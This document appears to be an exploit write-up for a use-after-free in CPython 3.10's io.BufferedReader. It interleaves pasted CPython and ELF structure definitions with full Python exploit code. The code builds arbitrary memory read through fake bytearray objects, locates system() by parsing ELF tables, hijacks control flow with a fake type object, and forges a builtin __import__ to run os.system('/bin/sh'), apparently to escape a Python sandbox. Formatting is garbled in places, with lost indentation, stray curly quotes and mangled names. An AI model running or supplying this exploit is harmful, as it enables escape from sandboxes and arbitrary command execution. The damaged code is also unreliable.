//3.10.4
//Include\object.h
/* PyObject_HEAD defines the initial segment of every PyObject. */
#define PyObject_HEAD   PyObject ob_base;
#define PyObject_VAR_HEAD  PyVarObject ob_base;
#define PyObject_HEAD_INIT(type)\
{ _PyObject_EXTRA_INIT  \
1, type },
#define PyVarObject_HEAD_INIT(type, size)   \
{ PyObject_HEAD_INIT(type) size },
typedef struct _object {
_PyObject_HEAD_EXTRA//该值release没有
Py_ssize_t ob_refcnt;
PyTypeObject *ob_type;
} PyObject;
typedef struct {
PyObject ob_base;
Py_ssize_t ob_size; /* Number of items in variable part */
} PyVarObject;

//3.10.4
//Include\object.h
typedef struct _typeobject PyTypeObject;

//Include\cpython\object.h
struct _typeobject {
PyObject_VAR_HEAD
const char tp_name; / For printing, in format “<module>.<name>” /
Py_ssize_t tp_basicsize, tp_itemsize; / For allocation /
/ Methods to implement standard operations /
destructor tp_dealloc;
Py_ssize_t tp_vectorcall_offset;
getattrfunc tp_getattr;
setattrfunc tp_setattr;
PyAsyncMethods tp_as_async; /* formerly known as tp_compare (Python 2)
or tp_reserved (Python 3) /
reprfunc tp_repr;
/ Method suites for standard classes /
PyNumberMethods tp_as_number;
PySequenceMethods tp_as_sequence;
PyMappingMethods tp_as_mapping;
/* More standard operations (here for binary compatibility) /
hashfunc tp_hash;
ternaryfunc tp_call;
reprfunc tp_str;
getattrofunc tp_getattro;
setattrofunc tp_setattro;
/ Functions to access object as input/output buffer /
PyBufferProcs tp_as_buffer;
/* Flags to define presence of optional/expanded features /
unsigned long tp_flags;
const char tp_doc; /* Documentation string /
/ Assigned meaning in release 2.0 /
/ call function for all accessible objects /
traverseproc tp_traverse;
/ delete references to contained objects /
inquiry tp_clear;
/ Assigned meaning in release 2.1 /
/ rich comparisons /
richcmpfunc tp_richcompare;
/ weak reference enabler /
Py_ssize_t tp_weaklistoffset;
/ Iterators /
getiterfunc tp_iter;
iternextfunc tp_iternext;
/ Attribute descriptor and subclassing stuff /
struct PyMethodDef tp_methods;
struct PyMemberDef tp_members;
struct PyGetSetDef tp_getset;
// Strong reference on a heap type, borrowed reference on a static type
struct _typeobject tp_base;
PyObject tp_dict;
descrgetfunc tp_descr_get;
descrsetfunc tp_descr_set;
Py_ssize_t tp_dictoffset;
initproc tp_init;
allocfunc tp_alloc;
newfunc tp_new;
freefunc tp_free; /* Low-level free-memory routine /
inquiry tp_is_gc; / For PyObject_IS_GC /
PyObject tp_bases;
PyObject tp_mro; / method resolution order /
PyObject tp_cache;
PyObject tp_subclasses;
PyObject tp_weaklist;
destructor tp_del;
/* Type attribute cache version tag. Added in version 2.6 */
unsigned int tp_version_tag;
destructor tp_finalize;
vectorcallfunc tp_vectorcall;
};

//3.10.4
//Include\cpython\bytearrayobject.h
typedef struct {
PyObject_VAR_HEAD
Py_ssize_t ob_alloc;   /* How many bytes allocated in ob_bytes */
char *ob_bytes;/* Physical backing buffer */
char *ob_start;/* Logical start inside ob_bytes */
Py_ssize_t ob_exports; /* How many buffer exports */
} PyByteArrayObject;

//3.10.4
//Include\cpython\bytesobject.h
typedef struct {
PyObject_VAR_HEAD
Py_hash_t ob_shash;
char ob_sval[1];
/* Invariants:
 * ob_sval contains space for 'ob_size+1' elements.
 * ob_sval[ob_size] == 0.
 * ob_shash is the hash of the byte string or -1 if not computed yet.
 */
} PyBytesObject;

//3.10.4
//Include\cpython\listobject.h
typedef struct {
PyObject_VAR_HEAD
/* Vector of pointers to list elements.  list[0] is ob_item[0], etc. */
PyObject **ob_item;
/* ob_item contains space for 'allocated' elements.  The number
 * currently in use is ob_size.
 * Invariants:
 * 0 <= ob_size <= allocated
 * len(list) == ob_size
 * ob_item == NULL implies ob_size == allocated == 0
 * list.sort() temporarily sets allocated to -1 to detect mutations.
 *
 * Items must normally not be NULL, except during construction when
 * the list is not yet visible outside the function that builds it.
 */
Py_ssize_t allocated;
} PyListObject;

class memoryview(object)
#Create a memoryview that references object. object must support the buffer protocol. Built-in objects that support the buffer protocol include bytes and bytearray.

v=memoryview(b'abcd')
len(v) # 4
v[0] #61
v=memoryview(bytearray(b''))
len(v) # 4
v[0] #61

CPython implementation detail: This is the address of the object in memory.

//include\linux\elf.h
typedef struct elf64_hdr {
  unsigned char e_ident[16];/* ELF "magic number" */
  Elf64_Half e_type;
  Elf64_Half e_machine;
  Elf64_Word e_version;
  Elf64_Addr e_entry;   /* Entry point virtual address */
  Elf64_Off e_phoff;/* Program header table file offset */
  Elf64_Off e_shoff;/* Section header table file offset */
  Elf64_Word e_flags;
  Elf64_Half e_ehsize;
  Elf64_Half e_phentsize;
  Elf64_Half e_phnum;
  Elf64_Half e_shentsize;
  Elf64_Half e_shnum;
  Elf64_Half e_shstrndx;
} Elf64_Ehdr;

//include\linux\elf.h
typedef struct elf64_phdr {
  Elf64_Word p_type;
  Elf64_Word p_flags;
  Elf64_Off p_offset;   /* Segment file offset */
  Elf64_Addr p_vaddr;   /* Segment virtual address */
  Elf64_Addr p_paddr;   /* Segment physical address */
  Elf64_Xword p_filesz; /* Segment size in file */
  Elf64_Xword p_memsz;  /* Segment size in memory */
  Elf64_Xword p_align;  /* Segment alignment, file & memory */
} Elf64_Phdr;

PT_NULL =0,
PT_LOAD =1,
PT_DYNAMIC  =2,
PT_INERP=3,
PT_NOTE =4,
PT_SHLIB=5,
PT_PHDR =6,
PT_LOOS =0x60000000,
PT_HIOS =0x6fffffff,
PT_LOPROC   =0x70000000,
PT_HIPROC   =0x7fffffff

typedef struct {
  Elf64_Sxword d_tag;   /* entry tag value */
  union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
  } d_un;
} Elf64_Dyn;

/* This is the info that is needed to parse the dynamic section of the file */
#define DT_NULL 0
#define DT_NEEDED   1
#define DT_PLTRELSZ 2
#define DT_PLTGOT   3
#define DT_HASH 4
#define DT_STRTAB   5
#define DT_SYMTAB   6
#define DT_RELA 7
#define DT_RELASZ   8
#define DT_RELAENT  9
#define DT_STRSZ10
#define DT_SYMENT   11
#define DT_INIT 12
#define DT_FINI 13
#define DT_SONAME   14
#define DT_RPATH15
#define DT_SYMBOLIC 16
#define DT_REL  17
#define DT_RELSZ18
#define DT_RELENT   19
#define DT_PLTREL   20
#define DT_DEBUG21
#define DT_TEXTREL  22
#define DT_JMPREL   23
#define DT_LOPROC   0x70000000
#define DT_HIPROC   0x7fffffff
#define DT_MIPS_RLD_VERSION 0x70000001
#define DT_MIPS_TIME_STAMP  0x70000002
#define DT_MIPS_ICHECKSUM   0x70000003
#define DT_MIPS_IVERSION0x70000004
#define DT_MIPS_FLAGS   0x70000005
  #define RHF_NONE0
  #define RHF_HARDWAY 1
  #define RHF_NOTPOT  2
#define DT_MIPS_BASE_ADDRESS0x70000006
#define DT_MIPS_CONFLICT0x70000008
#define DT_MIPS_LIBLIST 0x70000009
#define DT_MIPS_LOCAL_GOTNO 0x7000000a
#define DT_MIPS_CONFLICTNO  0x7000000b
#define DT_MIPS_LIBLISTNO   0x70000010
#define DT_MIPS_SYMTABNO0x70000011
#define DT_MIPS_UNREFEXTNO  0x70000012
#define DT_MIPS_GOTSYM  0x70000013
#define DT_MIPS_HIPAGENO0x70000014
#define DT_MIPS_RLD_MAP 0x70000016
//other
#define DT_INIT_ARRAY   0x19
#define DT_INIT_ARRAYSZ 0x1b
#define DT_FINI_ARRAY   0x1a
#define DT_FINI_ARRAYSZ 0x1c

typedef struct elf64_rel {
  Elf64_Addr r_offset;  /* Location at which to apply the action */
  Elf64_Xword r_info;   /* index and type of relocation */
} Elf64_Rel;
typedef struct elf64_rela {
  Elf64_Addr r_offset;  /* Location at which to apply the action */
  Elf64_Xword r_info;   /* index and type of relocation */
  Elf64_Sxword r_addend;/* Constant addend used to compute value */
} Elf64_Rela;

typedef struct elf64_sym {
  Elf64_Word st_name;   /* Symbol name, index in string tbl */
  unsigned char st_info;/* Type and binding attributes */
  unsigned char st_other;   /* No defined meaning, 0 */
  Elf64_Half st_shndx;  /* Associated section index */
  Elf64_Addr st_value;  /* Value of the symbol */
  Elf64_Xword st_size;  /* Associated symbol size */
} Elf64_Sym;

import io
class File(io.RawIOBase):
def readinto(self, buf):
global view
view = buf
def readable(self):
return True
f = io.BufferedReader(File())
f.read(1)   # get view of buffer used by BufferedReader
del f   # deallocate buffer
view = view.cast('P')
L = [None] * len(view)  # create list whose array has same size
# (this will probably coincide with view)
view[0] = 0 # overwrite first item with NULL
print(L[0]) # segfault: dereferencing NULL

//Modules\_io\bufferedio.c
/*[clinic input]
_io._Buffered.read
size as n: Py_ssize_t(accept={int, NoneType}) = -1
/
[clinic start generated code]*/
static PyObject *
_io__Buffered_read_impl(buffered *self, Py_ssize_t n)
/*[clinic end generated code: output=f41c78bb15b9bbe9 input=7df81e82e08a68a2]*/
{
......
res = _bufferedreader_read_generic(self, n);
......
}

/* Generic read function: read from the stream until enough bytes are read,
 * or until an EOF occurs or until read() would block.
 /
static PyObject 
_bufferedreader_read_generic(buffered *self, Py_ssize_t n)
{
   ……
r = _bufferedreader_raw_read(self, out + written, r);
……
}
static Py_ssize_t
_bufferedreader_raw_read(buffered self, char start, Py_ssize_t len)
{
……
memobj = PyMemoryView_FromBuffer(&buf);
if (memobj == NULL)
return -1;
/* NOTE: PyErr_SetFromErrno() calls PyErr_CheckSignals() when EINTR
   occurs so we needn’t do it ourselves.
   We then retry reading, ignoring the signal if no handler has
   raised (see issue #10956).
*/
do {
res = PyObject_CallMethodOneArg(self->raw, _PyIO_str_readinto, memobj);
} while (res == NULL && _PyIO_trap_eintr());
……
}

view[0] = id('a')
print(L[0]) # a

typedef struct {
PyObject_VAR_HEAD
Py_ssize_t ob_alloc;   /* How many bytes allocated in ob_bytes */
char *ob_bytes;/* Physical backing buffer */
char *ob_start;/* Logical start inside ob_bytes */
Py_ssize_t ob_exports; /* How many buffer exports */
} PyByteArrayObject;

typedef struct {
PyObject_VAR_HEAD
Py_hash_t ob_shash;
char ob_sval[1];
} PyBytesObject;

io = open.__self__
def uN(b):
out = 0
for i in range(len(b)):
out |= (b[i] & 0xff) << i*8
return out
def u64(x):
assert len(x) == 8
return uN(x)
def u32(x):
assert len(x) == 4
return uN(x)
def u16(x):
assert len(x) == 2
return uN(x)
def p64(x):
s = bytearray()
while x > 0:
s.append(x & 0xff)
x >>= 8
return s.ljust(8, b'\0')
def flat(*args):
return b''.join(args)
class File(io._RawIOBase):
def readinto(self, buf):
global view
view = buf
def readable(self):
return True

class Exploit:
def _create_fake_byte_array(self, addr, size):
byte_array_obj = flat(
p64(10),# refcount
p64(id(bytearray)), # type obj
p64(size),  # ob_size
p64(size),  # ob_alloc
p64(addr),  # ob_bytes
p64(addr),  # ob_start
p64(0x0),   # ob_exports
)
self.no_gc.append(byte_array_obj)  # stop gc from freeing after return
self.freed_buffer[0] = id(byte_array_obj) + 32
def leak(self, addr, length):
self._create_fake_byte_array(addr, length)
return self.fake_objs[0][0:length]
def init(self):
# Trigger bug
global view
f = io.BufferedReader(File())
f.read(1)
del f
view = view.cast(‘P’)
self.fake_objs = [None] * len(view)
self.freed_buffer = view
self.no_gc = []

PAGE_SIZE = 4096
SIZEOF_ELF64_SYM = 24
class Exploit:
def find_bin_base(self):
# Leak tp_dealloc pointer of PyLong_Type which points into the Python
# binary.
leak = self.leak(id(int), 32)
cpython_binary_ptr = u64(leak[24:32])
addr = (cpython_binary_ptr >> 12) << 12  # page align the address
# Work backwards in pages until we find the start of the binary
for i in range(10000):
nxt = self.leak(addr, 4)
if nxt == b'\x7fELF':
return addr
addr -= PAGE_SIZE
return None
def find_system(self):
"""
Return either the address of the system PLT stub, or the address of 
system itself if the binary is full RELRO.
"""
bin_base = self.find_bin_base()
data = self.leak(bin_base, 0x1000)
# Parse ELF header
type = u16(data[0x10:0x12])
is_pie = type == 3
phoff = u64(data[0x20:0x28])
phentsize = u16(data[0x36:0x38])
phnum = u16(data[0x38:0x3a])
# Find .dynamic section
dynamic = None
for i in range(phnum):
hdr_off = phoff + phentsize*i
hdr = data[hdr_off:hdr_off + phentsize]
p_type = u32(hdr[0x0:0x4])
p_vaddr = u64(hdr[0x10:0x18])
if p_type == 2:  # PT_DYNAMIC
dynamic = p_vaddr
if dynamic is None:
print("[!!] Couldn't find PT_DYNAMIC section")
return None
if is_pie:
dynamic += bin_base
print('[*] .dynamic:   {}'.format(hex(dynamic)))
dynamic_data = e.leak(dynamic, 500)
# Parse the Elf64_Dyn entries, extracting what we need
i = 0
symtab = None
strtab = None
rela = None
while True:
d_tag = u64(dynamic_data[i*16:i*16 + 8])
d_un = u64(dynamic_data[i*16 + 8:i*16 + 16])
if d_tag == 0 and d_un == 0:
break
elif d_tag == 5:# DT_STRTAB
strtab = d_un
elif d_tag == 6:# DT_SYMTAB
symtab = d_un
elif d_tag == 23:   # DT_JMPREL
rela = d_un
i += 1
if strtab is None or symtab is None or rela is None:
print("[!!] Missing required info in .dynamic")
return None

print(‘[] DT_SYMTAB:  {}’.format(hex(symtab)))
print(‘[] DT_STRTAB:  {}’.format(hex(strtab)))
print(‘[] DT_RELA:{}’.format(hex(rela)))
# Walk the relocation table, for each entry we read the relevant symtab
# entry and then strtab entry to get the function name.
rela_data = e.leak(rela, 0x1000)
i = 0
while True:
off = i  24
r_info = u64(rela_data[off + 8:off + 16])
symtab_idx = r_info >> 32  # ELF64_R_SYM
symtab_entry = e.leak(symtab + symtab_idx  SIZEOF_ELF64_SYM, SIZEOF_ELF64_SYM)
strtab_off = u32(symtab_entry[0:4])
name = e.leak(strtab + strtab_off, 6)
if name == b‘system’:
print(‘[] Found system at rela index {}’.format(i))
system_got = u64(rela_data[off:off + 8])
break
i += 1
func = u64(self.leak(system_got, 8))
print(‘[*] system: {}’.format(hex(func)))
return func
e = Exploit()
system = e.find_system()

class Exploit:
def set_rip(self, addr, obj_refcount=0x10):
"""Set rip by using a fake object and associated type object."""
# Fake type object
type_obj = flat(
p64(0xac1dc0de),# refcount
b'X'*0x68,  # padding
p64(addr)*100,  # vtable funcs 
)
self.no_gc.append(type_obj)
# Fake PyObject
data = flat(
p64(obj_refcount),  # refcount
p64(id(type_obj)),  # pointer to fake type object
)
self.no_gc.append(data)
# The bytes data starts at offset 32 in the object 
self.freed_buffer[0] = id(data) + 32
try:
# Now we trigger it. This calls tp_getattro on our fake type object
self.fake_objs[0].trigger
except:
# Avoid messy error output when we exit our shell
pass

e.set_rip(system, obj_refcount=u64(b‘\x2ebin/sh\x00‘))

//3.10.4
//Include\cpython\methodobject.h
typedef struct {
PyObject_HEAD
PyMethodDef *m_ml; /* Description of the C function to call */
PyObject*m_self; /* Passed as 'self' arg to the C func, can be NULL */
PyObject*m_module; /* The __module__ attribute, can be anything */
PyObject*m_weakreflist; /* List of weak references */
vectorcallfunc vectorcall;
} PyCFunctionObject;
#define PyCFunction_GET_SELF(func) \
(((PyCFunctionObject *)func) -> m_ml -> ml_flags & METH_STATIC ? \
 NULL : ((PyCFunctionObject *)func) -> m_self)
//Objects\methodobject.c
static PyObject *
meth_get__self__(PyCFunctionObject *m, void *closure)
{
PyObject *self;
self = PyCFunction_GET_SELF(m);
if (self == NULL)
self = Py_None;
Py_INCREF(self);
return self;
}
static PyGetSetDef meth_getsets [] = {
{"__doc__",  (getter)meth_get__doc__,  NULL, NULL},
{"__name__", (getter)meth_get__name__, NULL, NULL},
{"__qualname__", (getter)meth_get__qualname__, NULL, NULL},
{"__self__", (getter)meth_get__self__, NULL, NULL},
{"__text_signature__", (getter)meth_get__text_signature__, NULL, NULL},
{0}
};

//3.10.4
//Include\internal\pycore_moduleobject.h
typedef struct {
PyObject_HEAD
PyObject *md_dict;
struct PyModuleDef *md_def;
void *md_state;
PyObject *md_weaklist;
// for logging purposes after md_dict is cleared
PyObject *md_name;
} PyModuleObject;

//3.10.4
//Include\moduleobject.h
typedef struct PyModuleDef{
  PyModuleDef_Base m_base;
  const char* m_name;
  const char* m_doc;
  Py_ssize_t m_size;
  PyMethodDef *m_methods;
  struct PyModuleDef_Slot* m_slots;
  traverseproc m_traverse;
  inquiry m_clear;
  freefunc m_free;
} PyModuleDef;
//Include\methodobject.h
struct PyMethodDef {
const char  *ml_name;   /* The name of the built-in function/method */
PyCFunction ml_meth;/* The C function that implements it */
int ml_flags;   /* Combination of METH_xxx flags, which mostly
   describe the args expected by the C func */
const char  *ml_doc;/* The __doc__ attribute, or NULL */
};
typedef struct PyMethodDef PyMethodDef;

//3.10.4
//Modules\_io\_iomodule.c
PyMODINIT_FUNC
PyInit__io(void)
{
PyObject *m = PyModule_Create(&_PyIO_Module);
......
}
//Include\modsupport.h
#ifdef Py_LIMITED_API
#define PyModule_Create(module) \
PyModule_Create2(module, PYTHON_ABI_VERSION)
#else
#define PyModule_Create(module) \
PyModule_Create2(module, PYTHON_API_VERSION)
#endif
//Modules\_io\clinic\_iomodule.c.h
#define _IO_OPEN_METHODDEF\
{"open", (PyCFunction)(void(*)(void))_io_open, METH_FASTCALL|METH_KEYWORDS, _io_open__doc__},
//Modules\_io\_iomodule.c
static PyMethodDef module_methods[] = {
_IO_OPEN_METHODDEF
_IO_TEXT_ENCODING_METHODDEF
_IO_OPEN_CODE_METHODDEF
{NULL, NULL}
};
struct PyModuleDef _PyIO_Module = {
PyModuleDef_HEAD_INIT,
"io",
module_doc,
sizeof(_PyIO_State),
module_methods,
NULL,
iomodule_traverse,
iomodule_clear,
(freefunc)iomodule_free,
};

//Objects\moduleobject.c
PyObject *
PyModule_Create2(struct PyModuleDef* module, int module_api_version)
{
if (!_PyImport_IsInitialized(_PyInterpreterState_GET())) {
PyErr_SetString(PyExc_SystemError,
"Python import machinery not initialized");
return NULL;
}
return _PyModule_CreateInitialized(module, module_api_version);
}
PyObject *
_PyModule_CreateInitialized(struct PyModuleDef* module, int module_api_version)
{
const char* name;
PyModuleObject *m;
.....
name = module->m_name;
......
if ((m = (PyModuleObject*)PyModule_New(name)) == NULL)
return NULL;
......
if (module->m_methods != NULL) {
if (PyModule_AddFunctions((PyObject *) m, module->m_methods) != 0) {
Py_DECREF(m);
return NULL;
}
}
......
}
int
PyModule_AddFunctions(PyObject *m, PyMethodDef *functions)
{
int res;
PyObject *name = PyModule_GetNameObject(m);
if (name == NULL) {
return -1;
}
res = _add_methods_to_object(m, name, functions);
Py_DECREF(name);
return res;
}
static int
_add_methods_to_object(PyObject *module, PyObject *name, PyMethodDef *functions)
{
PyObject *func;
PyMethodDef *fdef;
for (fdef = functions; fdef->ml_name != NULL; fdef++) {
if ((fdef->ml_flags & METH_CLASS) ||
(fdef->ml_flags & METH_STATIC)) {
PyErr_SetString(PyExc_ValueError,
"module functions cannot set"
" METH_CLASS or METH_STATIC");
return -1;
}
func = PyCFunction_NewEx(fdef, (PyObject*)module, name);
if (func == NULL) {
return -1;
}
if (PyObject_SetAttrString(module, fdef->ml_name, func) != 0) {
Py_DECREF(func);
return -1;
}
Py_DECREF(func);
}
return 0;
}

//Include\methodobject.h
#define PyCFunction_NewEx(ML, SELF, MOD) PyCMethod_New((ML), (SELF), (MOD), NULL)
//Objects\methodobject.c
PyObject *
PyCMethod_New(PyMethodDef *ml, PyObject *self, PyObject *module, PyTypeObject *cls)
{
/* Figure out correct vectorcall function to use */
vectorcallfunc vectorcall;
switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS |
METH_O | METH_KEYWORDS | METH_METHOD))
{
case METH_VARARGS:
case METH_VARARGS | METH_KEYWORDS:
/* For METH_VARARGS functions, it's more efficient to use tp_call
 * instead of vectorcall. */
vectorcall = NULL;
break;
case METH_FASTCALL:
vectorcall = cfunction_vectorcall_FASTCALL;
break;
case METH_FASTCALL | METH_KEYWORDS:
vectorcall = cfunction_vectorcall_FASTCALL_KEYWORDS;
break;
case METH_NOARGS:
vectorcall = cfunction_vectorcall_NOARGS;
break;
case METH_O:
vectorcall = cfunction_vectorcall_O;
break;
case METH_METHOD | METH_FASTCALL | METH_KEYWORDS:
vectorcall = cfunction_vectorcall_FASTCALL_KEYWORDS_METHOD;
break;
default:
PyErr_Format(PyExc_SystemError,
 "%s() method: bad call flags", ml->ml_name);
return NULL;
}
PyCFunctionObject *op = NULL;
if (ml->ml_flags & METH_METHOD) {
if (!cls) {
PyErr_SetString(PyExc_SystemError,
"attempting to create PyCMethod with a METH_METHOD "
"flag but no class");
return NULL;
}
PyCMethodObject *om = PyObject_GC_New(PyCMethodObject, &PyCMethod_Type);
if (om == NULL) {
return NULL;
}
Py_INCREF(cls);
om->mm_class = cls;
op = (PyCFunctionObject *)om;
} else {
if (cls) {
PyErr_SetString(PyExc_SystemError,
"attempting to create PyCFunction with class "
"but no METH_METHOD flag");
return NULL;
}
op = PyObject_GC_New(PyCFunctionObject, &PyCFunction_Type);
if (op == NULL) {
return NULL;
}
}
op->m_weakreflist = NULL;
op->m_ml = ml;
Py_XINCREF(self);
op->m_self = self;
Py_XINCREF(module);
op->m_module = module;
op->vectorcall = vectorcall;
_PyObject_GC_TRACK(op);
return (PyObject *)op;
}

def find_import_def(p):
data = p.leak(id(__builtins__),0x40)
md_def = data[0x18:0x20]
md_def_addr = u64(md_def)
data = p.leak(md_def_addr,0x48)
m_methods = data[0x40:0x48]
m_methods_addr = u64(m_methods)
PyMethodDef_size = 0x20
i = 0
import_PyMethodDef_addr = b""
while True:
pyMethodDef = p.leak(m_methods_addr+i*PyMethodDef_size,0x20)
ml_name = pyMethodDef[0:8]
ml_name_addr = u64(ml_name)
if ml_name_addr != 0:
name = p.leak(ml_name_addr,10)
if name == b'__import__':
import_PyMethodDef_addr = m_methods_addr+i*PyMethodDef_size
return import_PyMethodDef_addr
else:
break
i = i+1
return import_PyMethodDef_addr

def fake_import(cmd):
p = Exploit()
import_PyMethodDef_addr = find_import_def(p)
byte_array_obj = flat(
p64(10),# refcount
p64(id(type(len))), # type obj other func like id、dir、open、len
p64(import_PyMethodDef_addr),  # PyMethodDef *m_ml 0x10
p64(id(__builtins__)),  # PyObject*m_self   0x18
p64(0x0),  # PyObject*m_module 0x20
p64(0x0),  # PyObject*m_weakreflist0x28
p64(0x0),   # vectorcallfunc vectorcall 0x30
)
p.freed_buffer[0] = id(byte_array_obj)+32
os = p.fake_objs[0]("os")
os.system(cmd)

io = open.__self__
def uN(b):
out = 0
for i in range(len(b)):
out |= (b[i] & 0xff) << i*8
return out
def u64(x):
assert len(x) == 8
return uN(x)
def u32(x):
assert len(x) == 4
return uN(x)
def u16(x):
assert len(x) == 2
return uN(x)

def p64(x):
s = bytearray()
while x > 0:
s.append(x & 0xff)
x >>= 8
return s.ljust(8, b‘\0‘)
def flat(*args):
return b‘’.join(args)
class File(io._RawIOBase):
def readinto(self, buf):
global view
view = buf
def readable(self):
return True
class Exploit:
def _create_fake_byte_array(self, addr, size):
byte_array_obj = flat(
p64(10),# refcount
p64(id(bytearray)), # type obj
p64(size),  # ob_size
p64(size),  # ob_alloc
p64(addr),  # ob_bytes
p64(addr),  # ob_start
p64(0x0),   # ob_exports
)
self.no_gc.append(byte_array_obj)  # stop gc from freeing after return
self.freed_buffer[0] = id(byte_array_obj) + 32
def leak(self, addr, length):
self._create_fake_byte_array(addr, length)
return self.fake_objs[0][0:length]
def init(self):
# Trigger bug
global view
f = io.BufferedReader(File())
f.read(1)
del f
view = view.cast(‘P’)
self.fake_objs = [None]  len(view)
self.freed_buffer = view
self.no_gc = []
def print_hex(data):
print(hex(data))
def find_import_def(p):
data = p.leak(id(builtins),0x40)
md_def = data[0x18:0x20]
md_def_addr = u64(md_def)
data = p.leak(md_def_addr,0x48)
m_methods = data[0x40:0x48]
m_methods_addr = u64(m_methods)
PyMethodDef_size = 0x20
i = 0
import_PyMethodDef_addr = b“”
while True:
pyMethodDef = p.leak(m_methods_addr+iPyMethodDef_size,0x20)
ml_name = pyMethodDef[0:8]
ml_name_addr = u64(ml_name)
if ml_name_addr != 0:
name = p.leak(ml_name_addr,10)
if name == b‘import‘:
import_PyMethodDef_addr = m_methods_addr+iPyMethodDef_size
return import_PyMethodDef_addr
else:
break
i = i+1
return import_PyMethodDef_addr
def fake_import(cmd):
p = Exploit()
import_PyMethodDef_addr = find_import_def(p)
byte_array_obj = flat(
p64(10),# refcount
p64(id(type(len))), # type obj other func like id、dir、len
p64(import_PyMethodDef_addr),  # PyMethodDef m_ml 0x10
p64(id(builtins)),  # PyObjectm_self   0x18
p64(0x0),  # PyObjectm_module 0x20
p64(0x0),  # PyObject*m_weakreflist0x28
p64(0x0),   # vectorcallfunc vectorcall 0x30
)
p.freed_buffer[0] = id(byte_array_obj)+32
os = p.fake_objs[0](“os”)
os.system(cmd)
del builtins.dict[‘import‘]
fake_import(“/bin/sh”)